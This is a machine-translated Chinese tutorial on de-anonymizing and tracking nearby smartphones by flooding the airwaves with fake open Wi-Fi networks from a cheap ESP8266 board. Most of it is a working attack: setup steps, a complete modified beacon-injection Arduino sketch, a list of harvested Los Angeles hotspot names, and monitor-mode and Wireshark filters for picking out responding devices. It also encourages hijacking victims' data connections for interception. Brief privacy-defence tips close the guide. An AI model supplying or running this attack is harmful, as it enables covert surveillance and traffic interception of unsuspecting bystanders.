使用ESP8266信标垃圾邮件发送者来跟踪智能手机用户
使用ESP8266信标垃圾邮件发送者来跟踪智能手机用户
智能手机和笔记本电脑不断发送Wi-Fi无线电信号,其中许多信号可用于跟踪我们。在本指南中,我们将在Arduino中编写一个廉价的物联网设备,以创建数百个具有通用名称的虚假网络; 这将导致附近的设备显示其真实可跟踪的MAC地址,甚至可以让攻击者接管电话的数据连接,而不会发出警告。
当您的智能手机不断记录,传输和存储有关您的信息时,隐私越来越难以享受,但很多人不知道他们的智能手机几乎经常通过Wi-Fi广播未加密的信息,可用于跟踪您。我们将看一下可以揭示和跟踪附近支持Wi-Fi的设备的攻击,打败制造商实施的MAC地址随机化等隐私工具。
智能手机上的MAC地址和隐私
通过智能手机上的Wi-Fi跟踪用户并不是一个新想法。许多大型零售商多年前就开始追踪商店中交易量最大的部分,以便向制造商出售高价的货架空间。为了保护智能手机用户的隐私,大多数设备现在使用某种MAC地址随机化来使智能手机及其用户更难以跟踪。
这意味着,在搜索Wi-Fi网络时,您的设备应该使用假的设备来保护您的隐私,而不是使用您的设备的真实MAC地址 - 直到它找到一个它信任的网络。MAC地址随机化是迈向隐私的重要一步,但在实践中,它很容易被利用。
首选网络列表与随机化
智能手机等支持Wi-Fi的设备保存用户之前连接的“开放式”Wi-Fi网络的方式存在严重的安全问题。没有密码的网络可以轻易伪造,允许任何人提出虚假版本。由于智能手机仅存储开放式Wi-Fi网络的网络名称或SSID,而不存储其他信息,因此您的笔记本电脑可以很简单的连接到真正的“谷歌星巴克”网络,因为它可以连接到虚拟网络。
这是为了方便而设计的。一旦您第一次连接到网络,您的设备就会认为您信任它,并且无需从该点获得许可即可连接到网络。即使在原始接入点无法定位的地方也是如此。您的设备将连接到具有匹配名称的任何网络,而不会询问您,这也会显示您的真实MAC地址,并允许攻击者可能拦截和修改您的流量。
- 不要错过:使用Evil Twin Attack窃取Wi-Fi密码
正如Mathy Vanhoef在他关于击败MAC地址随机化的论文中描述了这种行为,这个过程是Wi-Fi连接创建方式的一部分。
一旦设备检测到AP通告SSID与其首选(已配置)网络之一匹配,它将自动启动与该AP的关联过程。从现在开始,大多数实现MAC地址随机化的设备将使用其真实MAC地址与AP连接。
有关Wi-Fi设备的先前攻击和观察
Karma Attack使用智能手机本身广播中包含的网络名称来创建具有相同名称的虚假接入点。攻击者等待,直到附近的设备发送探测请求,询问它最近连接的网络是否在附近。在看到设备要求的网络名称后,攻击者只需创建一个具有匹配名称的虚假网络。这会导致受害者的设备无需询问即可连接,允许攻击者在目标上获得中间位置并控制其数据连接。
Mathy Vanhoef探索了几种攻击MAC地址随机化的方法,包括使用Airbase-ng进行假AP攻击,该攻击仅限于五个假AP。此攻击的工作原理是创建通用网络名称,希望许多设备之前已连接到具有相同名称的网络。当受害者设备看到之前已连接的网络名称时,它将丢弃其随机化的伪MAC地址并尝试使用其真实MAC进行连接。在Mathy的研究中,他发现少数流行的假SSID能够破坏大量设备。Mathy描述了攻击技术如下。
为了获取受害者的关联请求而广告SSID的现有攻击(例如众所周知的Karma攻击)依赖于受害者在探测请求中广播的SSID。但是,由于现代设备避免广播SSID,因此Karma攻击不再适用。我们对此问题的解决方案是公布流行的SSID列表,希望其中至少有一个位于受害者的首选网络列表中。
Stefan,又名Spacehuhn,专注于使用ESP8266和ESP32开发板的Wi-Fi安全项目。他的Beacon Spammer项目旨在创建数百个具有可自定义名称的假AP,但是因为它通过用空格填充末端来修复它创建的每个网络名称的长度为32个字符,所以附近的设备可以告诉他们的名字与他们拥有的名称不匹配连接到之前并忽略假网络。
NodeMCU ESP8266开发板。
在与Spacehuhn交谈之后,他修改了Beacon Spammer项目,允许创建与列出的SSID完全匹配的SSID,从而导致附近的设备将伪造的信标误认为属于他们首选网络列表(PNL)中的网络。这种修改允许一个良好的常见开放网络名称列表在“信标蜂拥”攻击中几乎所有附近的设备。
本地化开放式SSID群集 - 反向攻击
本地化开放式SSID群集攻击的基本概念是创建许多可用开放网络的外观,这些网络是使用Wigle Wifi从受害者地理区域中的常见开放网络名称列表中选择的。这种虚假的AP攻击会导致之前连接到具有相同名称(SSID)的网络的任何附近设备尝试连接,显示其真实的MAC地址并填充基本上打开设备信任的列表。
- 不要错过:在Android手机上使用Wardrive来映射易受攻击的网络
此信息允许攻击者使用存储在手机上的这些可信开放网络来随意取消屏蔽或连接到目标设备,只需创建一个具有相同名称的假AP并防止受害者连接到其他网络即可。一旦识别出这些网络名称,攻击者就可以使用这些网络名称来接管MITM攻击的受害者数据连接,而无需在设备上发出任何警告或提示。
我们假设最流行的SSID是不使用加密的开放热点。因此,我们广播的AP被配置为开放热点。尽管airbase-ng支持创建多个SSID,但我们的实验表明它无法正确处理大量SSID。因此,我们将攻击限制在合理数量的SSID,即5个SSID。
通过使用Spacehuhn的Beacon Spammer的修改版本,我们能够将广告SSID的数量增加到数百个,从而提高了我们找到保存在附近设备上的可信网络的机会。Mathy接着表明,一些非常受欢迎的SSID有很长的路要走,这意味着许多设备会对一些流行的SSID做出反应。这意味着拥有数百种流行SSID的蜂拥而至,可能会有些过分,但它应该可以正常工作。
在Wi-Fi设备中配置的SSID遵循长尾分布,这意味着在许多设备中可以找到少量流行的SSID。
值得注意的是,这种行为不仅仅是在攻击者支持它的时候。任何与您之前连接的热门SSID(如咖啡店)的商家一起走路也会导致您的设备尝试连接并丢弃其伪造的MAC地址。
通常,这意味着在您发现自动连接并登录网络之前,您没有数据。在具有公共SSID的真实网络附近设置的攻击者也可以利用此功能来跟踪通过附近的用户,而无需自己创建虚假网络。
你需要什么
要遵循本指南,您需要一台计算机(显然)和一台NodeMCU或ESP8266设备,价格约为6美元,可以用Arduino,C ++,Lua或MicroPython编程。这些物联网开发板价格便宜,易于编程和使用。您可以选择一个通用的或从Spacehuhn获取一个官方板。
- ESP8266 NodeMCU开发板无线模块(1)
- 无焊锡170点面包板(1)
- Micro USB线(1)
为了观察和了解正在发生的事情,我们将使用Wireshark,它是跨平台的并包含在Kali Linux中。对于我们常见的开放式SSID列表,我们将使用Wigle Wifi的结果,排序并添加到我们要创建的虚假AP列表中。您需要确保选择您所在地区常见的SSID,因为这种对细节的关注将改善您的结果。
我列出了为Spacehuhn代码格式化的常见SSID。
亚马逊:适用于Arduino IDE的ESP8266 NodeMCU开发板(3个装)
步骤1设置Arduino IDE
在本指南中,我们将使用免费和跨平台的Arduino IDE,这将使我们能够快速构建我们需要的原型。Arduino IDE(IDE代表“集成开发环境”)允许您快速编写和上载脚本到类似Arduino的微控制器设备。
您可以从官方网站下载Arduino IDE 。安装完成后,您需要单击“Arduino”下拉菜单,然后选择“首选项”。接下来,将以下URL粘贴到Additional Boards Manager URL字段中。
http://arduino.esp8266.com/stable/package_esp8266com_index.json
完成后,单击“确定”关闭菜单。
步骤2为ESP8266配置Arduino IDE
现在,您需要将NodeMCU添加到Boards Manager。单击“工具”,然后将鼠标悬停在“Board”部分上以查看下拉列表。在顶部,单击“Boards Manager”以打开允许我们添加更多板的窗口。
- 不要错过:编程一个6美元的NodeMCU来检测Wi-Fi干扰攻击
当窗口打开后,键入“esp8266”进入搜索领域。选择“ESP8266社区”的“esp8266”并安装它。
您应该准备好在此时对NodeMCU进行编程。将面包板插入计算机,计算机应已连接NodeMCU。当您单击“工具”时,您应该看到自动选择的正确端口。
从“Board”菜单中选择“NodeMCU 1.0”。如果您使用的是错误的电缆,端口可能不会显示,因此如果在完成其他步骤后没有看到任何内容,请先尝试另一根电缆。
顶部有两个主要按钮。复选标记编译并检查我们的代码是否有错误,右箭头将代码推送到NodeMCU。
第3步下载Spacehuhn的Beacon Spammer项目
接下来,我们需要下载SpaceHuhn的Beacon Spammer项目。这个项目只是Stefan创建的一个很棒的东西,包括预先安装了软件的这些很棒的主板。其中一些设计也支持添加定制天线,因此值得一看项目的硬件方面。如果您有兴趣了解更多Stefan的项目,请访问他的网站。
要下载Beacon Spammer,请打开终端并键入:
git clone https://github.com/spacehuhn/esp8266_beaconSpam.git
步骤4在Arduino IDE中打开Beacon Spammer文件
接下来,我们将导航到“esp8266_beaconSpam”文件夹,并在其中打开同名文件夹。内部唯一的文件是我们唯一需要的,所以在Arduino IDE中打开“esp8266_beaconSpam.ino”文件,看看代码是什么样的。预安装的网络安装了一些相当惊人的SSID,但它们不能用于我们的目的。首先,我们需要创建一个我们相信附近设备会响应的网络名称列表。
步骤5准备和排序开放SSID列表
对于信标群集攻击,最好的结果来自该区域常见的开放(无密码)SSID。如果您有Android手机,您可以使用Wigle Wifi在您的城市步行或驾车来收集无线网络名称进行广播。
- 更多信息:在Android手机上使用Wardrive来映射易受攻击的网络
完成运行后,您可以转到Wigle Wifi的数据库菜单并点击“CSV导出”选项。接下来,获取生成的CSV文件,并将其加载到您的计算机上。在Excel或Google表格中打开它,然后按加密类型或“AuthMode”排序列表。
包括具有ESS BLE,IBSS或ESS身份验证的任何网络,因为这些网络没有密码。将所有这些网络名称复制到列表中,您可能会看到许多重复项。要解决此问题,请将它们保存到文本文件中,然后运行以下脚本以按频率对它们进行排序并消除重复项。
sort ./yourfile.txt | uniq -c | sort -n
如果你有一个要添加到代码中的SSID列表,你可以使用我编写的Python脚本用它周围的引号和Beacon Spammer脚本所需的换行符来格式化它,这样你就可以将它放到程序中。
在.txt文件中添加任意数量的网络名称,并在新行上添加每个名称,保存它,然后您可以使用此程序对其进行格式化。请记住将“inputfile”更改为.txt文件中包含其名称的位置,并将“outputfile”更改为您希望将格式化列表另存为的名称。
append = "\\n\""
prepend = "\""
with open('./inputfile.txt', 'r') as istr:
with open('./outputfile.txt', 'w') as ostr:
for line in istr:
line = (prepend + line.rstrip('\n') + append)
print(line, file=ostr)
现在,您可以获取网络名称并将其放入信标垃圾邮件发送者脚本的一部分,该脚本允许您列出要创建的网络。这是我为南加州制作的清单:
"JWMarriott_GUEST\n"
"JWMarriott_LOBBY\n"
"LATTC-Visitor\n"
"LATimes-Guest\n"
"LAUSD-Guest\n"
"LAX-C guest\n"
"McDonalds Free WiFi\n"
"Oh Ranger! Wi-Fi\n"
"Public Health Guest\n"
"SETUP\n"
"Starbucks WiFi\n"
"TWCWiFi\n"
"TWGuest\n"
"USC Guest Wireless\n"
"WHOPPERWIFI\n"
"WLAN-GUEST\n"
"attwifi\n"
"belkin.8fa.guests\n"
"dwcwifi\n"
"guest\n"
"hpsetup\n"
"lacemployee\n"
"lacguest\n"
"lascguest\n"
"linksys\n"
"ubnt\n"
"wirelesslan\n"
"A_Guest\n"
"Ace Hotel\n"
"CableWiFi\n"
"CityofLosAngelesGuest\n"
"DHS_Guest\n"
"Guest\n"
"Americas Best Value Inn\n"
"Amoeba - Guest\n"
"Budget Inn\n"
"CableWiFi\n"
"Camden\n"
"CenterWiFi\n"
"CoffeeBeanWifi\n"
"Comfort Inn\n"
"Cricket-Guest\n"
"DaysInnOnline\n"
"Dennys_Guest_WIFI\n"
"FBI-SurveillanceVan\n"
"Google Starbucks\n"
"Guest\n"
"Guest T-Mobile\n"
"Guestnet\n"
"Hazelitas-guest\n"
"Hollywood Guest Inn\n"
"Hollywood Palms Inn & Suites\n"
"Jacks_Guest\n"
"LAFILM Guest\n"
"LAUSD-Guest\n"
"McDonalds Free WiFi\n"
"Moment Hotel\n"
"Netflix\n"
"PATH Wifi\n"
"Paulist-guest\n"
"Philz Coffee\n"
"Rodeway Inn\n"
"Roosevelt\n"
"Saharan Motor Hotel\n"
"Sandhouse Wi-Fi\n"
"Staff\n"
"Starbucks WiFi\n"
"Stella Barra Guest\n"
"Students\n"
"Sunset 8 Motel\n"
"THEMELT\n"
"TWCWiFi\n"
"Tender Greens\n"
"URBAN_GUEST_WIFI\n"
"WK-Guest\n"
"WL-GUEST\n"
"Wendys_Guest\n"
"WhopperWifi\n"
"WlanVPN\n"
"admin-guest\n"
"att-wifi\n"
"ihop-5G-Guest\n"
"ihop-Guest\n"
步骤6修改Beacon Spammer并推送到NodeMCU
我们需要修改Beacon Spammer的默认设置以确保我们想要的行为。为此,我们将参考我们之前下载的.INO文件中代码开头的方便配置设置。
/ ===== Settings ===== //
const uint8_t channels[] = {1, 6, 11}; // used Wi-Fi channels (available: 1-14)
const bool wpa2 = false; // WPA2 networks
const bool appendSpaces = true; // makes all SSIDs 32 characters long to improve performance
为了能够跟踪对我们虚假网络的回复,请将要广播的频道数量减少到一个频道。您可以选择所需的任何频道,但如果您在多个频道上进行广播,则无法跟踪回复假网络的设备。一些研究表明,第4频道是最佳频道。
将网络列表更改为仅包含一个后,保持“wpa2 = false”变量相同。这将导致设备将我们的虚假网络视为没有密码的“开放”网络。
接下来,SpaceHuhn添加了一个方便的选项,通过禁用使所有SSID长度相同的功能来让我们的攻击工作。将“appendspaces”更改为false,以便我们放入列表中的SSID与Beacon Spammer广播的SSID完全相同。如果您忘记这样做,它创建的网络将被视为不匹配存储在附近设备中的任何SSID,因为长度将始终设置为32个字符。
最后,添加您要创建的网络名称,在其周围加上双引号格式,并在每个名称的末尾添加\ n新行字符。您修改后的代码应如下所示。
/*
===========================================
Copyright (c) 2018 Stefan Kremser
github.com/spacehuhn
===========================================
*/
// ===== Settings ===== //
const uint8_t channels[] = {1}; // used Wi-Fi channels (available: 1-14)
const bool wpa2 = false; // WPA2 networks
const bool appendSpaces = false; // makes all SSIDs 32 characters long to improve performance
/*
SSIDs:
- don't forget the \n at the end of each SSID!
- max. 32 characters per SSID
- don't add duplicates! You have to change one character at least
*/
const char ssids[] PROGMEM = {
"JWMarriott_GUEST\n"
"JWMarriott_LOBBY\n"
"LATTC-Visitor\n"
"LATimes-Guest\n"
"LAUSD-Guest\n"
"LAX-C guest\n"
"McDonalds Free WiFi\n"
"Oh Ranger! Wi-Fi\n"
"Public Health Guest\n"
"SETUP\n"
"Starbucks WiFi\n"
"TWCWiFi\n"
"TWGuest\n"
"USC Guest Wireless\n"
"WHOPPERWIFI\n"
"WLAN-GUEST\n"
"attwifi\n"
"belkin.8fa.guests\n"
"dwcwifi\n"
"guest\n"
"hpsetup\n"
"lacemployee\n"
"lacguest\n"
"lascguest\n"
"linksys\n"
"ubnt\n"
"wirelesslan\n"
"A_Guest\n"
"Ace Hotel\n"
"CableWiFi\n"
"CityofLosAngelesGuest\n"
"DHS_Guest\n"
"Guest\n"
"Americas Best Value Inn\n"
"Amoeba - Guest\n"
"Budget Inn\n"
"CableWiFi\n"
"Camden\n"
"CenterWiFi\n"
"CoffeeBeanWifi\n"
"Comfort Inn\n"
"Cricket-Guest\n"
"DaysInnOnline\n"
"Dennys_Guest_WIFI\n"
"FBI-SurveillanceVan\n"
"Google Starbucks\n"
"Guest\n"
"Guest T-Mobile\n"
"Guestnet\n"
"Hazelitas-guest\n"
"Hollywood Guest Inn\n"
"Hollywood Palms Inn & Suites\n"
"Jacks_Guest\n"
"LAFILM Guest\n"
"LAUSD-Guest\n"
"McDonalds Free WiFi\n"
"Moment Hotel\n"
"Netflix\n"
"PATH Wifi\n"
"Paulist-guest\n"
"Philz Coffee\n"
"Rodeway Inn\n"
"Roosevelt\n"
"Saharan Motor Hotel\n"
"Sandhouse Wi-Fi\n"
"Staff\n"
"Starbucks WiFi\n"
"Stella Barra Guest\n"
"Students\n"
"Sunset 8 Motel\n"
"THEMELT\n"
"TWCWiFi\n"
"Tender Greens\n"
"URBAN_GUEST_WIFI\n"
"WK-Guest\n"
"WL-GUEST\n"
"Wendys_Guest\n"
"WhopperWifi\n"
"WlanVPN\n"
"admin-guest\n"
"att-wifi\n"
"ihop-5G-Guest\n"
"ihop-Guest\n"
};
// ==================== //
// ===== Includes ===== //
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
}
// ==================== //
// run-time variables
char emptySSID[32];
uint8_t channelIndex = 0;
uint8_t macAddr[6];
uint8_t wifi_channel = 1;
uint32_t currentTime = 0;
uint32_t packetSize = 0;
uint32_t packetCounter = 0;
uint32_t attackTime = 0;
uint32_t packetRateTime = 0;
// beacon frame definition
uint8_t beaconPacket[109] = {
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
// Fixed parameters
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
// Tagged parameters
// SSID parameters
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, // SSID
// Supported Rates
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
/* 72 */ 0x82, // 1(B)
/* 73 */ 0x84, // 2(B)
/* 74 */ 0x8b, // 5.5(B)
/* 75 */ 0x96, // 11(B)
/* 76 */ 0x24, // 18
/* 77 */ 0x30, // 24
/* 78 */ 0x48, // 36
/* 79 */ 0x6c, // 54
// Current Channel
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
/* 82 */ 0x01, // Current Channel
// RSN information
/* 83 - 84 */ 0x30, 0x18,
/* 85 - 86 */ 0x01, 0x00,
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
/* 91 - 92 */ 0x02, 0x00,
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
/* 101 - 102 */ 0x01, 0x00,
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
/* 107 - 108 */ 0x00, 0x00
};
// goes to next channel
void nextChannel() {
if(sizeof(channels) > 1){
uint8_t ch = channels[channelIndex];
channelIndex++;
if (channelIndex > sizeof(channels)) channelIndex = 0;
if (ch != wifi_channel && ch >= 1 && ch <= 14) {
wifi_channel = ch;
wifi_set_channel(wifi_channel);
}
}
}
// generates random MAC
void randomMac() {
for (int i = 0; i < 6; i++)
macAddr[i] = random(256);
}
void setup() {
// create empty SSID
for (int i = 0; i < 32; i++)
emptySSID[i] = ' ';
// for random generator
randomSeed(os_random());
// set packetSize
packetSize = sizeof(beaconPacket);
if (wpa2) {
beaconPacket[34] = 0x31;
} else {
beaconPacket[34] = 0x21;
packetSize -= 26;
}
// generate random mac address
randomMac();
// start serial
Serial.begin(115200);
Serial.println();
// get time
currentTime = millis();
// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
// set channel
wifi_set_channel(channels[0]);
// print out saved SSIDs
Serial.println("SSIDs:");
int i = 0;
int len = sizeof(ssids);
while(i < len){
Serial.print((char)pgm_read_byte(ssids + i));
i++;
}
Serial.println();
Serial.println("Started \\o/");
Serial.println();
}
void loop() {
currentTime = millis();
// send out SSIDs
if (currentTime - attackTime > 100) {
attackTime = currentTime;
// temp variables
int i = 0;
int j = 0;
int ssidNum = 1;
char tmp;
int ssidsLen = strlen_P(ssids);
bool sent = false;
// go to next channel
nextChannel();
while (i < ssidsLen) {
// read out next SSID
j = 0;
do {
tmp = pgm_read_byte(ssids + i + j);
j++;
} while (tmp != '\n' && j <= 32 && i + j < ssidsLen);
uint8_t ssidLen = j - 1;
// set MAC address
macAddr[5] = ssidNum;
ssidNum++;
// write MAC address into beacon frame
memcpy(&beaconPacket[10], macAddr, 6);
memcpy(&beaconPacket[16], macAddr, 6);
// reset SSID
memcpy(&beaconPacket[38], emptySSID, 32);
// write new SSID into beacon frame
memcpy_P(&beaconPacket[38], &ssids[i], ssidLen);
// set channel for beacon frame
beaconPacket[82] = wifi_channel;
// send packet
if(appendSpaces){
for(int k=0;k<3;k++){
packetCounter += wifi_send_pkt_freedom(beaconPacket, packetSize, 0) == 0;
delay(1);
}
}
// remove spaces
else {
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
tmpPacket[37] = ssidLen; // update SSID length byte
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
// send packet
for(int k=0;k<3;k++){
packetCounter += wifi_send_pkt_freedom(tmpPacket, tmpPacketSize, 0) == 0;
delay(1);
}
delete tmpPacket; // free memory of allocated buffer
}
i += j;
}
}
// show packet-rate each second
if (currentTime - packetRateTime > 1000) {
packetRateTime = currentTime;
Serial.print("Packets/s: ");
Serial.println(packetCounter);
packetCounter = 0;
}
}
步骤7打开Wireshark,设置通道和过滤器
接下来,您需要打开Wireshark并准备好关注我们的“诱饵”网络的响应。我已经让我在第1频道播出,所以在Wireshark中,我们需要确保我们在同一频道上观看流量。
如果您使用的是Kali Linux,请从运行ifconfig后看到的可用网络接口列表中选择您将使用的网络适配器。
- 不要错过:为Wi-Fi黑客最好的无线网络适配器
接下来,运行以下命令将网络适配器置于监控模式并将通道设置为1.您的卡应命名为wlan0或wlan1。请确保在下面的代码中更改适配器的名称以匹配您的名称。
sudo airmon-ng start wlan0 1
现在,您的适配器应处于监控模式,您应该在通道1上监听。打开Wireshark并选择您已进入监控模式的网络适配器,然后启动它。捕获过程将开始。
如果您在启动Wireshark时需要任何帮助,可以查看我们的指南。
- 更多信息:使用Wireshark检测Script-Kiddie Wi-Fi干扰
步骤8搜索探测和身份验证请求
很明显,有很多数据通过无线电波传输。我们需要对其进行过滤,以便以任何有用的方式了解正在发生的事情。首先,让我们使用显示过滤器来摆脱我们不需要看到的额外信息。屏幕应该被Beacon Spammer的信标以及任何其他本地网络流量淹没。
我们真正的目标是针对我们创建或尝试进行身份验证的虚假网络的探测请求。我们可以通过应用以下过滤器来搜索这些内容。
为了查找探测响应,我们可以将此过滤器键入顶部的捕获过滤器栏。
wlan.fc.type_subtype == 0x000b
在这里,我们可以看到试图加入附近网络的设备。
接下来,我们可以使用以下过滤器搜索探测请求。
wlan.fc.type_subtype == 0x0004
这些是附近呼叫特定网络的设备。在这里,我们可以看到其他信息,包括附近设备正在呼叫的特定网络。广播意味着它被发送给每个人,特别是没有人,但我们可以看到很多人被发送到我们的假网络。
步骤9按前3个MAC八位字节过滤搜索
查看来自我们的信标垃圾邮件发送者的流量的最佳方式是使用“发送器地址”和“目标地址”显示过滤器。对于从我们的Beacon Spammer发送的数据包,我们将使用发射机地址过滤器。
请注意,来自beacon spammer数据包的MAC地址的前三个八位字节不会更改。我们将通过创建一个过滤器来仅显示发送到信标垃圾邮件发送者的帧来利用此功能。
wlan.da[0:3] == xx:xx:xx
此捕获过滤器应列出回调到虚假AP群的所有设备。
这不是这种技术的限制,但我们将在这里停止这个例子。可以创建设备调用的任何网络以捕获该设备的数据连接。动用你的想象力!
你可以做些什么来阻止跟踪
为了防止这种跟踪,最常见的方法是在您不使用时关闭设备上的Wi-Fi。这实际上不会使手机的Wi-Fi传输静音,因为称为AGPS或辅助GPS的功能仍将搜索附近的网络以确定您的位置。为防止这种情况发生,您可以禁用高精度GPS,或者如果您真的希望Wi-Fi停止泄漏数据,请启用飞行模式。
防止此类攻击的另一个重要且更实用的方法是始终删除保存在计算机上的开放网络。自动连接功能设计得很方便,并且在网络上有密码,可能不是那么糟糕。然而,当谈到开放网络时,攻击者找到设备将连接的开放网络列表是微不足道的。这与WPA2网络的工作方式不同,因此确保删除不需要保存的网络会阻止您的设备对虚假接入点做出反应。
我希望您喜欢本指南,以便使用信标垃圾邮件发送器去除和跟踪Wi-Fi设备!